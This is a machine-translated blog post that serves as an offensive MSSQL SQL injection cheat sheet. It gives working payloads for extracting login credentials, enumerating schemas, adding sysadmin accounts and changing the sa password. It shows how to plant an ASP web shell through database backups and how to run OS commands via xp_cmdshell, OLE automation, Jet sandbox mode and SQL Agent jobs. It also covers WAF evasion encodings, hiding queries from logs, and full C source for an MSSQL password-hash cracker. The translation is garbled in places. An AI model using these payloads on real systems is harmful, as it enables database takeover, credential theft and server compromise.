Xeyes 2014/05/04 the sons

Default database

pubs Does not apply to MSSQL 2005
model Works on all versions
msdb Works on all versions
tempdb Works on all versions
northwind Works on all versions
information_schema Applicable to MSSQL 2000 and later versions

Comment out the query

The following can be used to comment out the rest of your post-injection query:

/ * C language style comments
SQL comments
; 00% Null bytes

Example:

SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';
Copy the code

Test version:

@@VERSION
Copy the code

Example:

If the MSSQL version is 2008

SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';
Copy the code

Note: The output contains the Windows operating system version.

Database credentials

The database table master.. syslogins, master.. sysprocesses
The column name name, loginame
The current user user, system_user, suser_sname(), is_srvrolemember(‘sysadmin’)
Database credentials SELECT user, password FROM master.dbo.sysxlogins

Example:

Return current user:

SELECT loginame FROM master.. sysprocesses WHERE spid=@@SPID;Copy the code

Check whether the user is admin:

SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);
Copy the code

Database name

The database table master.. sysdatabases
name
Current front database DB_NAME(5)

Example:

SELECT **DB_NAME(5)**; SELECT** name** FROM **master.. sysdatabases**;Copy the code

Server host name

@@SERVERNAME
SERVERPROPERTY()
Copy the code

Example:

SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');
Copy the code

The attached:

SERVERPROPERTY() applies to MSSQL 2000 and later versions.Copy the code

Tables and columns

Determine the number of columns

ORDER BY n+1;
Copy the code

Example: Query statement:

SELECT username, password, permission FROM Users WHERE id = '1';
Copy the code
1′ ORDER BY 1– True
1′ ORDER BY 2– True
1′ ORDER BY 3– True
1′ ORDER BY 4– False – The number of columns is 3
– 1 ‘UNION SELECT 1, 2, 3 – True

Add: incrementing the number of columns until you get an incorrect response.

GROUP BY/HAVING Gets the column name of the current query

Example: given query:

SELECT username, password, permission FROM Users WHERE id = '1';
Copy the code
1′ HAVING 1=1– The column ‘users.username’ in the select list is invalid because the column is not included in the aggregate function or GROUP BY clause.
1′ GROUP BY username HAVING 1=1– True
The column ‘users.username’ in the select list is invalid because the column is not included in the aggregate function or GROUP BY clause. True
1′ GROUP BY username, password HAVING 1=1– The column ‘users.username’ in the select list is invalid because the column is not included in the aggregate function or GROUP BY clause.
1′ GROUP BY username, password, permission HAVING 1=1– There is no error

Bonus: return to normal request page once all columns are matched.

Retrieve the table

We can start from two different databases, information_schema.tables or from master.. Sysobjects retrieves the table in.

Joint query:

UNION SELECT name FROM master.. sysobjects WHERE xtype='U'Copy the code

The attached:

U = user table, V = view, X = extended stored procedureCopy the code

Blind injection type:

AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
Copy the code

Error type:

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)
AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))
Copy the code

Retrieve the column

We can derive information from two different databases, information_schema.columns or masters.. The syscolumns retrieve columns.

Joint query:

UNION SELECT name FROM master.. syscolumns WHERE id = (SELECT id FROM master.. syscolumns WHERE name = 'tablename')Copy the code

Blind injection type:

AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > 'A'
Copy the code

Error type:

AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))
Copy the code

Retrieve multiple tables at once

The following three queries create a temporary table/column and insert all user-defined tables, then dump and delete the contents of the table

Create temporary table/column and insert data:

AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @[email protected]+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
Copy the code

Dump contents:

AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
Copy the code

Delete table:

AND 1=0; DROP TABLE TMP_DB;
Copy the code

MSSQL2005 and later use the XML for PATH function as a concatenator to query all tables at once.

SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('')        SQL Server 2005+
Copy the code

P.S. Codes can be obturated in hexadecimal notation

' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S); --Copy the code

Avoid quoting ordinals

SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)
Copy the code

String conjunction

SELECT CONCAT('a','a','a'); (SQL SERVER 2012)
SELECT 'a'+'d'+'mi'+'n';
Copy the code

Conditional statements

IF
CASE
Copy the code

Example:

IF 1=1 SELECT 'true' ELSE SELECT 'false';
SELECT CASE WHEN 1=1 THEN true ELSE false END;
Copy the code

Note: IF cannot be used in SELECT statements.

Time delay:

WAITFOR DELAY 'time_to_pass';
WAITFOR TIME 'time_to_execute';
Copy the code

Example:

IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
Copy the code

OPENROWSET attack

SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1'; 'sa'; 'p4ssw0rd', 'SET FMTONLY OFF execute master.. xp_cmdshell "dir"');Copy the code

OPENROWSET is disabled by default in MSSQL 2005 and later.

To activate OPENROWSET:

exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ad Hoc Distributed Queries',1; RECONFIGURE;Copy the code

Adding a Database User

Exec sp_addlogin 'name', 'password' exec sp_addsrvrolemember 'name', 'sysadminCopy the code

Example Change the password of user SA

Alter login [sa] with password=N'NewPassword' (SQL2005 and above); exec master.dbo.sp_password null,username,password; --Copy the code

Get WebShell

Differential backup: Creating a differential database backup requires a previous full database backup. If the selected database has never been backed up, perform a full database backup before creating any differential backups.

Method 1

To disk = 'c:\tmp.bak'; create table [dbo].[test_tmp] ([cmd] [image]); insert into test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E); Backup database library name to disk='c:\shell.asp' WITH DIFFERENTIAL,FORMAT;Copy the code

Method 2 (Reduce volume)

alter database web1 set RECOVERY FULL; create table test_tmp (a image); backup log web1 to disk = 'c:\cmd' with init; insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA); backup log web1 to disk = 'c:\shell.asp'--Copy the code

*0x3C25657865637574652872657175657374282261222929253E = <%execute(request(“a”))%>

Sp_makewebtask backup (sa permission required)

exec sp_makewebtask 'c:\shell.asp',' select ''<%25execute(request("a"))%25>'' ';
Copy the code

Note: Sp_MakeWebTask stored procedures are disabled by default in MSSQL 2005 and above

To activate the sp_makewebTask stored procedure:

exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Web Assistant Procedures',1; RECONFIGURE;Copy the code

System Command Execution

1. Run the operating system commands using the xp_cmdshell stored procedure.

EXEC master.dbo.xp_cmdshell 'cmd';
Copy the code

Xp_cmdshell stored procedures are disabled by default in MSSQL 2005 and later.

To activate the xp_cmdshell stored procedure:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;Copy the code

Check if xp_cmdshell is loaded, if so, continue to check if it is active, then proceed with ‘DIR’ and insert the result into the TMP_DB table:

Example:

' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master.. sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master.. xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--Copy the code

Dump contents:

' UNION SELECT tbl FROM TMP_DB--
Copy the code

Delete table:

' DROP TABLE TMP_DB--
Copy the code

2. Use sp_OACREATE and sp_OAMethod to call control to execute system commands:

DECLARE @execmd INT EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe [[/c]]   ver >C:\inetpub\wwwroot\test.txt'
Copy the code

The SP_OACreate stored procedure is disabled by default in MSSQL 2005 and later.

Statement to activate the SP_OACreate stored procedure:

exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures',1; RECONFIGURE;Copy the code

SQL Server provides sp_OACREATE and sp_OAMethod functions, which can be used to call OLE controls to obtain a shell indirectly. Call the object wscript with SP_OAcreate. [email protected], [email protected]

3. Execute system commands in JET Sandbox Mode

By default, the Jet data engine does not support SQL statements such as SELECT Shell (“net User “). Sandbox mode of the Jet engine must be enabled to execute commands. Then use OpenRowSet to ACCESS an ACCESS database file and execute the SQL statement that runs the command.

Activate sandbox mode:

Windows 2003

exec master.. Xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE \ Microsoft \ Jet \ 4.0 \ Engines',' SandBoxMode ', 'REG_DWORD' 0; --Copy the code

Windows 2008 R2

exec master.. Xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE \ Wow6432Node \ Microsoft \ Jet \ 4.0 \ Engines',' SandBoxMode ', 'REG_DWORD' 0;Copy the code

Windows 2003 + SQL Server2000 Sandbox

(Windows 2003 OS c:\ Windows \system32\ias\ directory by default comes with two Access database file ias. MDB/dary. MDB, so directly call.)

Select * From OpenRowSet (' Microsoft. Jet. The OLEDB. 4.0 ', '; Database=c:\windows\system32\ias\ias.mdb','select shell("net user >c:\test.txt ")');Copy the code

Windows 2008 R2+SQL Server2005 Sandbox

(Windows 2008 R2 does not have Access database files by default. You need to upload or load files in the UNC path to run commands.)

Select * from openrowset (' Microsoft. Jet. The oledb. 4.0 ', '; Database =\\192.168.1.8\file\ias. MDB ','select shell("c:\ Windows \system32\cmd.exe /c net user >c:\test.txt ")');Copy the code

(SQL Server2008 does not register microsoft.jet.oledb.4.0 interface by default, so you cannot use sandbox mode to execute system commands.)

4.OPENROWSET calls xp_cmdshell to execute system command:

(Db_Owner or public can use OPENROWSET to call xp_cmdshell to execute system commands if the sa permission account password is known.)

SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1'; 'sa'; 'p4ssw0rd', 'SET FMTONLY OFF execute master.. xp_cmdshell "ver"');Copy the code

Tip:

Execute content using the for XML implementation:

for xml raw/auto SQL Server 2000 and later **(** **: this method can only fetch the first row of data, problem to be resolved.) **
or 1 in(SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master.. xp_cmdshell "set"'))for xml raw or 1 in(SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master.. xp_cmdshell "set"'))for xml autoCopy the code
for xml path Applicable to SQL Server 2005 and later, although all contents are retrieved at once, the amount of contents retrieved depends on the length of the table definition.
SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master.. Xp_cmdshell "ver") for XML path SELECT * FROM OPENROWSET('SQLOLEDB', '192.168.1.117'; 'sa'; '123456', 'SET FMTONLY OFF execute master.. xp_cmdshell "ver"')for xml pathCopy the code

The attached:

If the output exceeds the table definition length, the message “String or binary data will be truncated.” The error

SQL agent execute system command (SQLSERVERAGENT):

use msdb exec sp_delete_job null,'x'; exec sp_add_job 'x'; exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net start >C:\test.txt'; exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x';Copy the code

(SQL Server Agent is disabled by default. Use xp_Servicecontrol to activate SQL Server Agent, and then create a SCHEDULED SQL task to execute the command immediately.)

SQL > activate SQLSERVERAGENT

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
Copy the code

Other functions to obtain system information

1. Traverse the directory

exec master.dbo.xp_dirtree 'c:\'
Copy the code

2. Obtain subdirectories

exec master.dbo.xp_subdirs 'c:\'
Copy the code

3. List available system partitions

exec master.dbo.xp_availablemedia
Copy the code

4. Check whether the directory or file exists

exec master.. xp_fileexist 'c:\boot.ini'Copy the code

SP_PASSWORD (hide query)

The sp_password is appended at the end of the query, and the T-SQL log hides it as a security measure.

SP_PASSWORD

Example:

‘ AND 1=1–sp_password

Output:

-- 'sp_password 'was found in the event text. ('sp_password' was found in the text of this event.) -- This text has been replaced with a comment for security reasons. ( The text has been replaced with this comment for security reasons.)Copy the code
  • I don’t understand this method, so I hope my friends will answer it.

Cascading query

(MSSQL supports cascading queries)

Example:

' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');
Copy the code

Fuzzy testing and obfuscation

Allow intermediate characters

The following characters can be used as Spaces.

Example:

S%E%L%E%C%T%01column%02FROM%03table;
A%%ND 1=%%%%%%%%1;
Copy the code

Ps: Percentage symbols between keywords are only valid in ASP(X) Web applications.

The following characters can also be used to avoid Spaces.

22 "28 (29) 5B [5D]Copy the code

Example:

UNION(SELECT(column)FROM(table));
SELECT"table_name"FROM[information_schema].[tables];
Copy the code

AND/OR can be used with middle symbols:

01 - 20 范围
21  !
2B  +
2D  -
2E  .
5C  \
7E  ~
Copy the code

Example:

SELECT 1FROM[table]WHERE\1=\1AND\1=\1;
Copy the code

Note: Backslashes do not seem to work in MSSQL 2000.

coding

Code injection statements to help avoid WAF/IDS checks.

URL Encoding (URL Encoding) SELECT %74able_%6eame FROM information_schema.tables;
Double URL Encoding SELECT %2574able_%256eame FROM information_schema.tables;
Unicode Encoding SELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid Hex Encoding (ASP) SELECT %tab%le_%na%me FROM information_schema.tables;
Hex Encoding ‘ AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S); —
HTML Entities (HTML Entities to be verified) %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B

A cryptographic hash

Starting with the 0x0100 password, the first byte after 0x is a constant, the next eight bytes are hashes, the remaining 80 bytes are two hashes, the first 40 bytes are case sensitive password hashes, and the second 40 bytes are uppercase password hashes.

0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457
Copy the code

Password cracking

It can be cracked using Metasploit’s JTR module

www.rapid7.com/db/modules/…

Cracking the MSSQL 2000 password

(This tool is used to crack passwords for Microsoft SQL Server 2000.)

#! cpp ///////////////////////////////////////////////////////////////////////////////// // // SQLCrackCl // // This will perform a dictionary attack against the // upper-cased hash for a password. Once this // has been discovered try all case variant to work // out the case sensitive password. // // This code was written by David Litchfield to // demonstrate how Microsoft SQL Server 2000 // passwords can be attacked. This can be // optimized considerably by not using the CryptoAPI. // // (Compile with VC++ and link with advapi32.lib // Ensure the Platform SDK has been installed, too!) // ////////////////////////////////////////////////////////////////////////////////// #include <stdio.h> #include <windows.h> #include <wincrypt.h> FILE *fd=NULL; char *lerr = "\nLength Error! \n"; int wd=0; int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash); int main(int argc, char *argv[]) { int err = 0; if(argc ! =3) { printf("\n\n*** SQLCrack *** \n\n"); printf("C:\\>%s hash passwd-file\n\n",argv[0]); printf("David Litchfield ([email protected])\n"); printf("24th June 2002\n"); return 0; } err = OpenPasswordFile(argv[2]); if(err ! =0) { return printf("\nThere was an error opening the password file %s\n",argv[2]); } err = CrackPassword(argv[1]); fclose(fd); printf("\n\n%d",wd); return 0; } int OpenPasswordFile(char *pwdfile) { fd = fopen(pwdfile,"r"); if(fd) return 0; else return 1; } int CrackPassword(char *hash) { char phash[100]=""; char pheader[8]=""; char pkey[12]=""; char pnorm[44]=""; char pucase[44]=""; char pucfirst[8]=""; char wttf[44]=""; char uwttf[100]=""; char *wp=NULL; char *ptr=NULL; int cnt = 0; int count = 0; unsigned int key=0; unsigned int t=0; unsigned int address = 0; unsigned char cmp=0; unsigned char x=0; HCRYPTPROV hProv=0; HCRYPTHASH hHash; DWORD hl=100; unsigned char szhash[100]=""; int len=0; if(strlen(hash) ! =94) { return printf("\nThe password hash is too short! \n"); } if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X')) { hash = hash + 2; strncpy(pheader,hash,4); printf("\nHeader\t\t: %s",pheader); if(strlen(pheader)! =4) return printf("%s",lerr); hash = hash + 4; strncpy(pkey,hash,8); printf("\nRand key\t: %s",pkey); if(strlen(pkey)! =8) return printf("%s",lerr); hash = hash + 8; strncpy(pnorm,hash,40); printf("\nNormal\t\t: %s",pnorm); if(strlen(pnorm)! =40) return printf("%s",lerr); hash = hash + 40; strncpy(pucase,hash,40); printf("\nUpper Case\t: %s",pucase); if(strlen(pucase)! =40) return printf("%s",lerr); strncpy(pucfirst,pucase,2); sscanf(pucfirst,"%x",&cmp); } else { return printf("The password hash has an invalid format! \n"); } printf("\n\n Trying... \n"); if(! CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0)) { if(GetLastError()==NTE_BAD_KEYSET) { // KeySet does not exist. So create a new keyset if(! CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET )) { printf("FAILLLLLLL!!!" ); return FALSE; } } } while(1) { // get a word to try from the file ZeroMemory(wttf,44); if(! fgets(wttf,40,fd)) return printf("\nEnd of password file. Didn't find the password.\n"); wd++; len = strlen(wttf); wttf[len-1]=0x00; ZeroMemory(uwttf,84); // Convert the word to UNICODE while(count < len) { uwttf[cnt]=wttf[count]; cnt++; uwttf[cnt]=0x00; count++; cnt++; } len --; wp = &uwttf; sscanf(pkey,"%x",&key); cnt = cnt - 2; // Append the random stuff to the end of // the uppercase unicode password t = key >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 8; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 16; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; t = key << 24; t = t >> 24; x = (unsigned char) t; uwttf[cnt]=x; cnt++; // Create the hash if(! CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash)) { printf("Error %x during CryptCreatHash! \n", GetLastError()); return 0; } if(! CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0)) { printf("Error %x during CryptHashData! \n", GetLastError()); return FALSE; } CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); // Test the first byte only. Much quicker. if(szhash[0] == cmp) { // If first byte matches try the rest ptr = pucase; cnt = 1; while(cnt < 20) { ptr = ptr + 2; strncpy(pucfirst,ptr,2); sscanf(pucfirst,"%x",&cmp); if(szhash[cnt]==cmp) cnt ++; else { break; } } if(cnt == 20) { // We've found the password printf("\nA MATCH!!! Password is %s\n",wttf); return 0; } } count = 0; cnt=0; } return 0; }Copy the code

Websec.ca/KB /sql_inje…

The author adds some additions to the original content and shares some tips found during the testing process.

Ca/KB /sql_inje… Safe.it168.com/ss/2007-09-…